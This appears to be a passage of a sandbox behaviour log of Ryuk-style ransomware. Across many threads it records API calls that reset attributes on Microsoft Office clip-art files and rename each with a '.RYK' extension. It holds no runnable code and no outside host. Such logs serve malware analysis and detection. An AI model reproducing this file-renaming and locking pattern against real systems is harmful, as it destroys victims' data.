	[0192.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1212
	os_tid = 0x1894

	[0192.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", dwFileAttributes=0x80) returned 0
	[0192.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1213
	os_tid = 0x1898

	[0192.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", dwFileAttributes=0x80) returned 0
	[0192.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1214
	os_tid = 0x189c

	[0192.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", dwFileAttributes=0x80) returned 0
	[0192.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1215
	os_tid = 0x18a0

	[0192.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", dwFileAttributes=0x80) returned 0
	[0192.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1216
	os_tid = 0x18a4

	[0192.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", dwFileAttributes=0x80) returned 0
	[0192.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.435] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1217
	os_tid = 0x18a8

	[0192.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", dwFileAttributes=0x80) returned 0
	[0192.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1218
	os_tid = 0x18ac

	[0192.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", dwFileAttributes=0x80) returned 0
	[0192.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1219
	os_tid = 0x18b0

	[0192.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", dwFileAttributes=0x80) returned 0
	[0192.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.439] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1220
	os_tid = 0x18b4

	[0192.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", dwFileAttributes=0x80) returned 0
	[0192.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.491] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1236
	os_tid = 0x18f4

	[0192.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", dwFileAttributes=0x80) returned 0
	[0192.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.493] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1237
	os_tid = 0x18f8

	[0192.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF", dwFileAttributes=0x80) returned 0
	[0192.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.495] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1238
	os_tid = 0x18fc

	[0192.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF", dwFileAttributes=0x80) returned 0
	[0192.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1239
	os_tid = 0x1900

	[0192.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", dwFileAttributes=0x80) returned 0
	[0192.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.500] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1240
	os_tid = 0x1904

	[0192.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", dwFileAttributes=0x80) returned 0
	[0192.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1241
	os_tid = 0x1908

	[0192.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", dwFileAttributes=0x80) returned 0
	[0192.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1242
	os_tid = 0x190c

	[0192.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", dwFileAttributes=0x80) returned 0
	[0192.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1243
	os_tid = 0x1910

	[0192.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", dwFileAttributes=0x80) returned 0
	[0192.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.508] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.508] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1244
	os_tid = 0x1914

	[0192.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", dwFileAttributes=0x80) returned 0
	[0192.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1245
	os_tid = 0x1918

	[0192.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", dwFileAttributes=0x80) returned 0
	[0192.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1246
	os_tid = 0x191c

	[0192.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", dwFileAttributes=0x80) returned 0
	[0192.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.670] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1263
	os_tid = 0x1960

	[0192.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", dwFileAttributes=0x80) returned 0
	[0192.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.834] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1264
	os_tid = 0x1964

	[0192.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", dwFileAttributes=0x80) returned 0
	[0192.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1265
	os_tid = 0x1968

	[0192.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF", dwFileAttributes=0x80) returned 0
	[0192.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1266
	os_tid = 0x196c

	[0192.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF", dwFileAttributes=0x80) returned 0
	[0192.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1267
	os_tid = 0x1970

	[0192.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF", dwFileAttributes=0x80) returned 0
	[0192.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1268
	os_tid = 0x1974

